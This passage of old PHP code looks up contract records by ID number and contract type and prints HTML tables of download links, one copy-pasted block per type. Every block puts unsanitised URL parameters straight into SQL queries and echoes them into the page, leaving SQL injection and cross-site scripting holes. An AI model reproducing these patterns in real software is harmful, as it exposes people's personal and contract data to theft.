<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 17
if ($_GET["tipo"]=="SJ02" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ02 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 18
if ($_GET["tipo"]=="SJ03" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ03 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 19
if ($_GET["tipo"]=="SJ04" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ04 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 20
if ($_GET["tipo"]=="SJ05" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ05 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 21
if ($_GET["tipo"]=="SJ06" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ06 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 22
if ($_GET["tipo"]=="SJ07" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ07 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 23
if ($_GET["tipo"]=="SJ08" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ08 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 24
if ($_GET["tipo"]=="SJ09" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ09 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 25
if ($_GET["tipo"]=="SJ10" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ10 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 26
if ($_GET["tipo"]=="SJ11" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SJ11 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///// PERTE 27
if ($_GET["tipo"]=="SME" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SME WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
///////////////////////////////////////// david poveda
if ($_GET["tipo"]=="SP01" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SP01 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
if ($_GET["tipo"]=="SP02" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SP02 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
if ($_GET["tipo"]=="SP03" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SP03 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
if ($_GET["tipo"]=="SP04" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SP04 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
if ($_GET["tipo"]=="SP05" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
$res = mysql_query("SELECT * FROM contratos_SP05 WHERE cedula = '" . $_GET[cedula] . "' and numero_contrato = '" . $_GET[contra] . "' ");
if (!$res) {
die('Invalid query: ' . mysql_error());
}
if ((mysql_num_rows($res)!=0))
{
printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr bgcolor='#FFFFCC'>
<th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr bgcolor='#FFFFCC'>
<th scope='col'><span class='Estilo5'>CARA 1</span></th>
<th scope='col'><span class='Estilo5'>CARA 2</span></th>
<th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
<th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>
<th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>
</tr>");
while($Filas = mysql_fetch_row($res))
{
printf("<tr><td><div align='center'><a href='descargar_archivos_contratos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><a href='descargar_archivos_contratos_dos.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."' class='Estilo5 Estilo6'>Descargar</a></div></td>
<td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
<td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>");
}
echo "</table>";
mysql_free_result($res);
}
}
if ($_GET["tipo"]=="SP09" )
{
//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];
